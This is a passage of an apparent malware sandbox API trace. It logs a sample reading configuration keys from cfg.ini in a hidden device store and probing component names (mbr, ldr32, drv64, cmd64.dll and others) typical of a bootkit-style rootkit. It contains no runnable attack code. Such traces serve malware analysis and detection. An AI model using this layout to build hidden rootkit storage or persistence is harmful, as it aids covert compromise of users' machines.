Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.103] IdePortDispatch () returned 0x103 [0123.103] KeWaitForMutexObject () returned 0x0 [0123.103] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.103] KeLeaveCriticalRegion () [0123.103] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.103] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.103] KeEnterCriticalRegion () [0123.103] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.103] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dae000 [0123.103] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.103] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.103] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.103] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.103] IdePortDispatch () returned 0x103 [0123.103] KeWaitForMutexObject () returned 0x0 [0123.103] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.103] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.104] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.104] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.104] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.104] IdePortDispatch () returned 0x103 [0123.104] KeWaitForMutexObject () returned 0x0 [0123.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.104] KeLeaveCriticalRegion () [0123.104] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.104] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.105] KeEnterCriticalRegion () [0123.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.105] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.105] KeLeaveCriticalRegion () [0123.105] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.105] KeEnterCriticalRegion () [0123.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.105] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.105] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.105] KeLeaveCriticalRegion () [0123.105] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.105] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.105] KeEnterCriticalRegion () [0123.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.105] ExFreePoolWithTag (P=0xfffffa8003be9660, Tag=0x0) [0123.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.105] KeLeaveCriticalRegion () [0123.105] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.105] ReleaseMutex (hMutex=0xf0) returned 1 [0123.105] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.105] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0123.105] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.105] KeEnterCriticalRegion () [0123.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.105] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.105] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.105] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.105] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.105] IdePortDispatch () returned 0x103 [0123.105] KeWaitForMutexObject () returned 0x0 [0123.105] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.105] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.105] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.106] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.106] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.106] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be71b0 [0123.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.106] KeLeaveCriticalRegion () [0123.106] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.106] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.106] KeEnterCriticalRegion () [0123.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.106] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.106] KeLeaveCriticalRegion () [0123.106] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.106] KeEnterCriticalRegion () [0123.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.106] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.106] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.106] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.106] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.106] IdePortDispatch () returned 0x103 [0123.106] KeWaitForMutexObject () returned 0x0 [0123.106] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.106] KeLeaveCriticalRegion () [0123.106] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.106] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.106] KeEnterCriticalRegion () [0123.106] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.106] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002daf000 [0123.106] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.106] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.106] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.106] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.106] IdePortDispatch () returned 0x103 [0123.106] KeWaitForMutexObject () returned 0x0 [0123.107] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.107] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.107] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.107] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.107] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.107] IdePortDispatch () returned 0x103 [0123.107] KeWaitForMutexObject () returned 0x0 [0123.107] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.107] KeLeaveCriticalRegion () [0123.107] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.107] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.107] KeEnterCriticalRegion () [0123.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.108] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.108] KeLeaveCriticalRegion () [0123.108] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.108] KeEnterCriticalRegion () [0123.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.108] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.108] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.108] KeLeaveCriticalRegion () [0123.108] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.108] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.108] KeEnterCriticalRegion () [0123.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.108] ExFreePoolWithTag (P=0xfffffa8003be71b0, Tag=0x0) [0123.108] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.108] KeLeaveCriticalRegion () [0123.108] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.108] ReleaseMutex (hMutex=0xf0) returned 1 [0123.108] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0123.108] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0123.108] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0123.108] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.108] KeEnterCriticalRegion () [0123.108] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.108] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.108] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.108] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.108] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.108] IdePortDispatch () returned 0x103 [0123.108] KeWaitForMutexObject () returned 0x0 [0123.108] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.108] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.108] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.108] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.108] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.109] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.109] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.109] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.109] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.109] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.109] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.109] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.109] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.109] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.109] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.109] KeLeaveCriticalRegion () [0123.109] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.109] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0123.109] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0123.109] KeEnterCriticalRegion () [0123.109] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.109] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.109] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.109] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.109] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.109] IdePortDispatch () returned 0x103 [0123.109] KeWaitForMutexObject () returned 0x0 [0123.109] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.109] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0123.109] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.109] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.109] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0123.109] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.109] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0123.109] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.109] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0123.109] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0123.109] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.109] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.109] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.109] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.109] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0123.109] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.109] KeLeaveCriticalRegion () [0123.109] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.109] ReleaseMutex (hMutex=0x100) returned 1 [0123.110] Sleep (dwMilliseconds=0x2bf20) [0123.116] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c93fb50, dwHighDateTime=0x1d24fa4)) [0123.116] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0123.116] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.116] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.116] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.116] KeEnterCriticalRegion () [0123.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.116] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.116] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.116] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0123.116] IdePortDispatch () returned 0x103 [0123.116] KeWaitForMutexObject () returned 0x0 [0123.116] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.116] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.116] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.117] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.117] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.117] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9710 [0123.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.117] KeLeaveCriticalRegion () [0123.117] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.117] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.117] KeEnterCriticalRegion () [0123.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.117] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.117] KeLeaveCriticalRegion () [0123.117] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.117] KeEnterCriticalRegion () [0123.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.117] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.117] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0123.117] IdePortDispatch () returned 0x103 [0123.117] KeWaitForMutexObject () returned 0x0 [0123.117] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.117] KeLeaveCriticalRegion () [0123.117] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.117] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.117] KeEnterCriticalRegion () [0123.117] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.117] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db2000 [0123.117] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.117] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.117] IdePortDispatch () returned 0x103 [0123.117] KeWaitForMutexObject () returned 0x0 [0123.118] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.118] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0123.118] IdePortDispatch () returned 0x103 [0123.118] KeWaitForMutexObject () returned 0x0 [0123.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.118] KeLeaveCriticalRegion () [0123.118] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.118] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.118] KeEnterCriticalRegion () [0123.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.118] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.118] KeLeaveCriticalRegion () [0123.119] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.119] KeEnterCriticalRegion () [0123.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.119] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.119] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.119] KeLeaveCriticalRegion () [0123.119] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.119] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.119] KeEnterCriticalRegion () [0123.119] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.119] ExFreePoolWithTag (P=0xfffffa8003be9710, Tag=0x0) [0123.119] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.119] KeLeaveCriticalRegion () [0123.119] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.119] ReleaseMutex (hMutex=0xf0) returned 1 [0123.119] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.119] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.119] 